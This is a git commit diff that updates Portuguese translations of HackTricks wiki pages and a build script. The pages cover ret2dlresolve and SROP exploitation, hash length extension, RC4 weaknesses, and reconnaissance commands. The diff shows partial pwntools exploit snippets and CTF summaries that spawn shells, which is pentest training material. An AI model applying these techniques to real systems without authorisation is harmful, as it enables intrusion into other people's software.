mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente
This commit is contained in:
Translator
parent
9dd28dfcbd
commit
3c0cfc900c
@ -69,6 +69,12 @@ def ref(matchobj):
|
||||
return result
|
||||
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
||||
return new_content
|
||||
|
||||
|
||||
def iterate_chapters(sections):
|
||||
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
|
||||
return
|
||||
@ -99,6 +105,7 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
content = json.dumps(book)
|
||||
|
||||
@ -1,13 +1,10 @@
|
||||
# HackTricks
|
||||
|
||||
Reading time: {{ #reading_time }}
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Logos e design em movimento do Hacktricks por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> **Bem-vindo ao wiki onde você encontrará cada truque/técnica de hacking/qualquer coisa que aprendi em CTFs, aplicativos da vida real, lendo pesquisas e notícias.**
|
||||
> [!TIP] > **Bem-vindo ao wiki onde você encontrará cada truque/técnica/habilidade de hacking que aprendi em CTFs, aplicativos da vida real, lendo pesquisas e notícias.**
|
||||
|
||||
Para começar, siga esta página onde você encontrará o **fluxo típico** que **você deve seguir ao realizar pentesting** em uma ou mais **máquinas:**
|
||||
|
||||
@ -35,7 +32,9 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -43,11 +42,13 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** é a **plataforma de hacking ético e bug bounty número 1 da Europa.**
|
||||
**Intigriti** é a **plataforma de hacking ético e bug bounty #1 da Europa.**
|
||||
|
||||
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -60,7 +61,9 @@ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banne
|
||||
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -70,7 +73,7 @@ Acesse hoje:
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
- **Insights de Hacking:** Envolva-se com conteúdo que mergulha na emoção e nos desafios do hacking
|
||||
- **Insights de Hacking:** Envolva-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
- **Notícias de Hack em Tempo Real:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
|
||||
- **Últimos Anúncios:** Fique informado sobre os novos bug bounties lançados e atualizações cruciais da plataforma
|
||||
|
||||
@ -86,7 +89,9 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -111,7 +116,9 @@ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sig
|
||||
|
||||
Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vulnerabilidades, testes de penetração e engenharia reversa para proteger aplicativos e dispositivos móveis. **Domine a segurança de iOS e Android** através de nossos cursos sob demanda e **obtenha certificação**:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -121,13 +128,15 @@ Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vuln
|
||||
|
||||
[**WebSec**](https://websec.nl) é uma empresa profissional de cibersegurança com sede em **Amsterdã** que ajuda a **proteger** empresas **em todo o mundo** contra as mais recentes ameaças de cibersegurança, fornecendo **serviços de segurança ofensiva** com uma abordagem **moderna**.
|
||||
|
||||
WebSec é uma **empresa de segurança tudo-em-um**, o que significa que eles fazem tudo; Pentesting, **Auditorias** de Segurança, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
|
||||
WebSec é uma **empresa de segurança tudo-em-um**, o que significa que eles fazem tudo; Pentesting, **Auditorias de Segurança**, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
|
||||
|
||||
Outra coisa legal sobre a WebSec é que, ao contrário da média do setor, a WebSec é **muito confiante em suas habilidades**, a tal ponto que **garante os melhores resultados de qualidade**, afirmando em seu site "**Se não conseguimos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
|
||||
Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a tal ponto que **garante os melhores resultados de qualidade**, afirmando em seu site "**Se não conseguimos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
{{#endref}}
|
||||
|
||||
## Licença & Isenção de Responsabilidade
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Como explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que forem usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.
|
||||
|
||||
A função **`_dl_runtime_resolve`** pega do stack referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
|
||||
A função **`_dl_runtime_resolve`** recebe da pilha referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
|
||||
|
||||
Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-la com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).
|
||||
|
||||
@ -17,7 +17,9 @@ Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP in
|
||||
|
||||
Confira este vídeo para uma boa explicação sobre esta técnica na segunda metade do vídeo:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
Ou confira estas páginas para uma explicação passo a passo:
|
||||
|
||||
@ -27,7 +29,7 @@ Ou confira estas páginas para uma explicação passo a passo:
|
||||
## Resumo do Ataque
|
||||
|
||||
1. Escrever estruturas falsas em algum lugar
|
||||
2. Definir o primeiro argumento do system (`$rdi = &'/bin/sh'`)
|
||||
2. Definir o primeiro argumento da system (`$rdi = &'/bin/sh'`)
|
||||
3. Definir na pilha os endereços das estruturas para chamar **`_dl_runtime_resolve`**
|
||||
4. **Chamar** `_dl_runtime_resolve`
|
||||
5. **`system`** será resolvido e chamado com `'/bin/sh'` como argumento
|
||||
@ -56,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
|
||||
### Pure Pwntools
|
||||
|
||||
Você pode encontrar um [**exemplo desta técnica aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contendo uma explicação muito boa da cadeia ROP final**, mas aqui está o exploit final utilizado:
|
||||
Você pode encontrar um [**exemplo desta técnica aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contendo uma explicação muito boa da cadeia ROP final**, mas aqui está o exploit final usado:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
||||
@ -8,10 +8,10 @@
|
||||
|
||||
Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
|
||||
|
||||
A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
|
||||
A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes do sinal ser tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
|
||||
|
||||
> [!CAUTION]
|
||||
> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores dos registradores** que gostaríamos que fossem carregados na **pilha** torna possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
|
||||
> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores dos registradores** que gostaríamos que ele carregasse na **pilha** torna possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
|
||||
|
||||
Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil controlar os parâmetros para chamar outras Ret2syscalls:
|
||||
|
||||
@ -55,9 +55,11 @@ Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha p
|
||||
| __reserved | sigmask |
|
||||
+--------------------+--------------------+
|
||||
```
|
||||
Para uma melhor explicação, confira também:
|
||||
Para uma melhor explicação, verifique também:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Exemplo
|
||||
|
||||
@ -126,13 +128,13 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
||||
- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
|
||||
- Binário de assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
|
||||
- Binário de assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` novamente para o ESP, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode, ele será escrito como a próxima instrução e executado.
|
||||
- Programa de assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` para o ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode irá escrevê-lo como a próxima instrução e executá-lo.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
|
||||
|
||||
|
||||
@ -10,7 +10,9 @@
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload para executar comandos e capturar a saída via solicitações DNS para burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
||||
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# Hash Length Extension Attack
|
||||
# Ataque de Extensão de Comprimento de Hash
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo do ataque
|
||||
|
||||
Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
|
||||
Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, fazendo o hash desses dados. Se você souber:
|
||||
|
||||
- **O comprimento do segredo** (isso também pode ser forçado a partir de um intervalo de comprimento dado)
|
||||
- **Os dados de texto claro**
|
||||
@ -17,19 +17,21 @@ Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma *
|
||||
|
||||
### Como?
|
||||
|
||||
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
|
||||
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **fazendo o hash de um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **fazem o hash**.
|
||||
|
||||
Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Se um atacante quiser anexar a string "anexar", ele pode:
|
||||
Então, imagine que o segredo é "secret" e os dados são "data", o MD5 de "secretdata" é 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Se um atacante quiser anexar a string "append", ele pode:
|
||||
|
||||
- Gerar um MD5 de 64 "A"s
|
||||
- Mudar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Anexar a string "anexar"
|
||||
- Finalizar o hash e o hash resultante será um **válido para "segredo" + "dados" + "padding" + "anexar"**
|
||||
- Anexar a string "append"
|
||||
- Finalizar o hash e o hash resultante será um **válido para "secret" + "data" + "padding" + "append"**
|
||||
|
||||
### **Ferramenta**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
### Referências
|
||||
|
||||
|
||||
@ -4,8 +4,12 @@ Se você puder de alguma forma criptografar um texto simples usando RC4, poderá
|
||||
|
||||
Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,32 +2,34 @@
|
||||
|
||||
# Resumo do ataque
|
||||
|
||||
Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **secreto** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
|
||||
Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
|
||||
|
||||
- **O comprimento do secreto** (isso também pode ser forçado a partir de um intervalo de comprimento dado)
|
||||
- **O comprimento do segredo** (isso também pode ser forçado por força bruta a partir de um intervalo de comprimento dado)
|
||||
- **Os dados de texto claro**
|
||||
- **O algoritmo (e ele é vulnerável a este ataque)**
|
||||
- **O padding é conhecido**
|
||||
- Normalmente, um padrão padrão é usado, então se os outros 3 requisitos forem atendidos, isso também é
|
||||
- O padding varia dependendo do comprimento do secreto + dados, é por isso que o comprimento do secreto é necessário
|
||||
- O padding varia dependendo do comprimento do segredo + dados, é por isso que o comprimento do segredo é necessário
|
||||
|
||||
Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma **assinatura** válida para os **dados anteriores + dados anexados**.
|
||||
|
||||
## Como?
|
||||
|
||||
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
|
||||
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir** do **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
|
||||
|
||||
Então, imagine que o secreto é "secret" e os dados são "data", o MD5 de "secretdata" é 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Se um atacante quiser anexar a string "append", ele pode:
|
||||
Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Se um atacante quiser anexar a string "anexar", ele pode:
|
||||
|
||||
- Gerar um MD5 de 64 "A"s
|
||||
- Mudar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Anexar a string "append"
|
||||
- Finalizar o hash e o hash resultante será um **válido para "secret" + "data" + "padding" + "append"**
|
||||
- Anexar a string "anexar"
|
||||
- Finalizar o hash e o hash resultante será um **válido para "segredo" + "dados" + "padding" + "anexar"**
|
||||
|
||||
## **Ferramenta**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@ -1,11 +1,15 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Se você puder de alguma forma criptografar um texto simples usando RC4, você pode descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
|
||||
Se você puder de alguma forma criptografar um texto simples usando RC4, poderá descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
|
||||
|
||||
Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Descobertas de Ativos
|
||||
|
||||
> Então, foi dito que tudo que pertence a alguma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui.
|
||||
@ -16,9 +15,9 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ
|
||||
|
||||
### **Aquisições**
|
||||
|
||||
Primeiramente, precisamos saber quais **outras empresas são propriedade da empresa principal**.\
|
||||
Primeiramente, precisamos saber quais **outras empresas são pertencentes à empresa principal**.\
|
||||
Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
|
||||
Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
|
||||
Outra opção é visitar a página da **Wikipedia** da empresa principal e buscar por **aquisições**.
|
||||
|
||||
> Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
|
||||
|
||||
@ -58,7 +57,7 @@ Você pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](htt
|
||||
### **Procurando vulnerabilidades**
|
||||
|
||||
Neste ponto, sabemos **todos os ativos dentro do escopo**, então, se você tiver permissão, poderia lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) sobre todos os hosts.\
|
||||
Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como fazer pentesting em vários serviços possíveis em execução.\
|
||||
Além disso, você poderia lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como fazer pentesting em vários serviços possíveis em execução.\
|
||||
**Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário padrão **e** senhas **e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domínios
|
||||
@ -67,11 +66,11 @@ Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-ne
|
||||
|
||||
_Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e que essa informação não deve ser subestimada._
|
||||
|
||||
Primeiramente, você deve procurar pelo(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
|
||||
Primeiro de tudo, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
|
||||
|
||||
### **DNS Reverso**
|
||||
|
||||
Como você encontrou todos os intervalos de IP dos domínios, poderia tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
|
||||
Como você encontrou todos os intervalos de IP dos domínios, você poderia tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
@ -91,7 +90,7 @@ Você pode usar ferramentas online como:
|
||||
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuito**
|
||||
- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** na web, API não gratuita.
|
||||
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não gratuito
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 buscas gratuitas**)
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 pesquisas gratuitas**)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Não Gratuito
|
||||
|
||||
Você pode automatizar essa tarefa usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requer uma chave de API whoxy).\
|
||||
@ -114,7 +113,7 @@ Existem algumas páginas e ferramentas que permitem que você pesquise por esses
|
||||
|
||||
### **Favicon**
|
||||
|
||||
Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash do ícone favicon? Isso é exatamente o que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Aqui está como usá-la:
|
||||
Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash do ícone favicon? É exatamente isso que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Aqui está como usá-la:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
@ -123,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
||||
Simplificando, favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone favicon que nosso alvo.
|
||||
|
||||
Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que, se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
|
||||
Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
|
